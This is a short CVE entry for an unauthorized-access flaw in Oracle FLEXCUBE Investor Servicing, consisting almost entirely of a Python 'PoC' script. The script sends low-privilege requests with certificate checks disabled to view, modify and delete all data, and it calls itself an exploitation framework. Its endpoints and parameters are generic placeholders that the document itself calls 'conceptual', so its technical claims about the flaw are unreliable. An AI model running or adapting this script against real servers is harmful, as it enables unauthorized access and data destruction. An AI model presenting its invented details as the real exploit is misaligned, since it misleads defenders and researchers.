Oracle FLEXCUBE Investor Servicing 安全管理系统未授权访问漏洞 (CVE-2026-21973)

# CVE-2026-21973 PoC - Oracle FLEXCUBE Investor Servicing Unauthorized Access # Note: This is a conceptual PoC for educational and security research purposes only import requests import sys TARGET_URL = "https://target-server/flexcube/investor-servicing" CVE_ID = "CVE-2026-21973" def exploit_unauthorized_access(): """ PoC for CVE-2026-21973: Security Management System unauthorized access This vulnerability allows low-privileged users to perform unauthorized operations """ headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)', 'Content-Type': 'application/x-www-form-urlencoded', 'Authorization': 'Basic ' + 'base64_encoded_low_privilege_credentials' } # Step 1: Identify vulnerable endpoint in Security Management System # The component fails to properly validate authorization for certain operations # Step 2: Craft malicious request to bypass permission checks # Low-privilege user can access/administer critical data exploit_payloads = [ # Unauthorized data access { 'endpoint': '/api/security/management/access', 'method': 'POST', 'data': {'action': 'view_all', 'scope': 'critical_data'} }, # Unauthorized data modification { 'endpoint': '/api/security/management/modify', 'method': 'POST', 'data': {'action': 'update', 'target': 'all_accessible_data'} }, # Unauthorized data deletion { 'endpoint': '/api/security/management/delete', 'method': 'POST', 'data': {'action': 'delete', 'scope': 'all'} } ] print(f"[*] Testing {CVE_ID} on {TARGET_URL}") for payload in exploit_payloads: try: if payload['method'] == 'POST': response = requests.post( TARGET_URL + payload['endpoint'], data=payload['data'], headers=headers, timeout=30, verify=False ) else: response = requests.get( TARGET_URL + payload['endpoint'], headers=headers, timeout=30, verify=False ) print(f"[*] Payload: {payload['endpoint']}") print(f"[*] Status Code: {response.status_code}") if response.status_code == 200: print(f"[!] Potential vulnerability confirmed - Unauthorized access successful") print(f"[*] Response preview: {response.text[:200]}") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return True if __name__ == "__main__": print(f"[*] CVE-2026-21973 Exploitation Framework") print(f"[*] Target: {TARGET_URL}") exploit_unauthorized_access() print("[*] Testing completed")